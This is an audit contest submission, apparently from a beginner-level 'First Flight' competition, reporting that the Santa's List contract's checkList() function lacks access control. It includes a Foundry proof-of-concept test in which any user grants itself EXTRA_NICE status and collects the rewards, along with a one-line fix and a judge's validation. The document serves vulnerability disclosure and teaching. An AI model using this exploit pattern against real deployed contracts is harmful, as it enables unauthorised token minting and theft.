First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unauthorized EXTRA_NICE Status Assignment by anyone

kamuik16

Summary

The SantasList contract contains a critical vulnerability that allows any user to self-assign the status of EXTRA_NICE without proper authorization from Santa (the contract owner). This can be exploited to unfairly claim both NFTs and SantaTokens.

Vulnerability Details

The vulnerability arises from the implementation of the checkList function in SantasList.sol. Contrary to the intended design, where only Santa can assign statuses, the checkList function lacks a onlySanta modifier. This oversight allows any address to call checkList and change its status to EXTRA_NICE. When followed by the legitimate checkTwice function call by Santa, the user can then claim their rewards.

Below is my POC:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
​
import {SantasList} from "../../src/SantasList.sol";
import {SantaToken} from "../../src/SantaToken.sol";
import {Test} from "forge-std/Test.sol";
import {_CheatCodes} from "../mocks/CheatCodes.t.sol";
​
contract SantasListTest is Test {
SantasList santasList;
SantaToken santaToken;
​
address user = makeAddr("user");
address santa = makeAddr("santa");
_CheatCodes cheatCodes = _CheatCodes(HEVM_ADDRESS);
​
function setUp() public {
vm.startPrank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
vm.stopPrank();
}
​
function testAnyoneCanBeExtraNiceAndCheatSanta() public {
vm.startPrank(user);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.startPrank(santa);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santasList.collectPresent();
vm.stopPrank();
}
}

Impact

This vulnerability poses a high risk of unauthorized token minting and NFT collection. It undermines the contract's integrity by allowing users to bypass the intended security checks, leading to potential abuse and exploitation.

Tools Used

  • Foundry

Recommendations

  • The simplest solution is to add the onlySanta modifier to the checkList function, ensuring that only the contract owner (Santa) can assign statuses to addresses.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.